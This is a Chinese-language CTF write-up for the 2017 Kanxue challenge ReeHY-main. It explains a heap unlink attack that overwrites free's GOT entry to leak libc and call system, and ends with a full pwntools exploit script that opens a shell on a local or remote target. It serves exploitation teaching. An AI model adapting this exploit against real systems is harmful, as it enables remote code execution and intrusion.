作者:ERROR404,转载请注明来源SourceCode战队

题目信息

非原创,原题为看雪.Wifi万能钥匙 2017CTF年中赛第四题 ReeHY-main

题目分析

分析程序,看保护
image.png
64位程序仅开启了NX保护,使用IDAx64分析程序发现程序存在unlink漏洞。

堆利用详细分析

堆块结构
未命名文件.jpg
那么我们首先creat四个chunk,内存此时如下图

  1. create(0x200,0,"/bin/sh\x00")
  2. create(0x200,1,"1")
  3. create(0x200,2,"2")
  4. create(0x200,3,"3")

未命名文件.png

然后立刻释放3,2,并再次creat一个大小为0x400的chunk,内存此时如下图

  1. delete(3)
  2. delete(2)
  3. create(0x400,2,payload)

未命名文件 (1).png
这时我们可以伪造chunk,即窝们再Data区填入与chunk结构相同的数据,内存此时如下图(chunk0省略)

  1. payload=p64(0x0)+p64(0x101)+p64(X-0x18)+p64(X-0x10)+'A'*(0x100-0x20)+p64(0x100)+p64(0x110)

未命名圖表.png

接下来我们要释放chunk3,此时内存有这样的状态(chunk0省略)
未命名圖表 (1).png
此时chunk3前面的chunk2处于空闲状态(chunk3的P位为0),因此chunk2会发生向后合并,系统会尝试对chunk2进行unlink操作,然后进行unlink检查,此时chunk2头部为P指针,要求

  1. #define unlink(AV, P, BK, FD) {
  2. FD = P->fd; //p +
  3. BK = P->bk;
  4. if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
  5. malloc_printerr (check_action, "corrupted double-linked list", P, AV);
  6. else {
  7. FD->bk = BK;
  8. BK->fd = FD;
  9. ......
  10. }

FD = P->fd = X-0x18
BK = P->bk = X-0x10
(X-0x18)->fd = P
(X-0x10)->bk = P

检查通过,于是使得

P = X - 0x18

chunk2的指针存放的值变成了P-0x18
接下来修改chunk2的值,修改的值为0x18个padding,然后就能修改chunk0的地址的值了,这时修改成free的GOT表地址
接下来再修改一次chunk2, 此时就可以修改free的GOT表了

EXP

# encoding: utf-8
from pwn import *
import sys
context.log_level = "debug"

def create(chunk_size,index,content):
    sh.recvuntil("$ ")
    sh.sendline("1")
    sh.recvuntil("Input size\n")
    sh.sendline(str(chunk_size))
    sh.recvuntil("Input cun\n")
    sh.sendline(str(index))
    sh.recvuntil("Input content\n")
    sh.sendline(content)

def delete(index):
    sh.recvuntil("$ ")
    sh.sendline("2")
    sh.recvuntil("Chose one to dele\n")
    sh.sendline(str(index))

def edit(index,content):
    sh.recvuntil("$ ")
    sh.sendline("3")
    sh.recvuntil("Chose one to edit\n")
    sh.sendline(str(index))
    sh.recvuntil("Input the content\n")
    sh.send(content)

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ReeHYmain = ELF('./4-ReeHY-main')
if args['REMOTE']:
    sh = remote(sys.argv[1], sys.argv[2])
else:
    sh = process("./4-ReeHY-main")

sh.recvuntil("$ ")
sh.sendline("ERROR404")
libc_atoi = libc.symbols['atoi']
libc_system = libc.symbols['system']
libc_binsh = next(libc.search("/bin/sh"))
free_got = ReeHYmain.got['free']
atoi_got = ReeHYmain.got['atoi']
puts_plt = ReeHYmain.plt['puts']
heap_addr = 0x602100
create(0x200,0,"/bin/sh\x00")
create(0x200,1,"1")
create(0x200,2,"2")
create(0x200,3,"3")
delete(3)
delete(2)
payload = p64(0) + p64(0x200+1) + p64(heap_addr - 0x18) + p64(heap_addr - 0x10) + 'A'*(0x200-0x20) + p64(0x200) + p64(512)
create(0x400,2,payload)
delete(3)
edit(2,'1'*0x18 + p64(free_got) + p64(1) + p64(atoi_got)+ "\n")
edit(2,p64(puts_plt))
delete(3)
atoi_addr = u64(sh.recv(6)+'\x00'+'\x00') & 0xffffffffffff
base_addr = atoi_addr - libc_atoi
system_addr = base_addr + libc_system
log.success("systebm:" + hex(system_addr))
edit(2,p64(system_addr))
delete(0)
sh.interactive()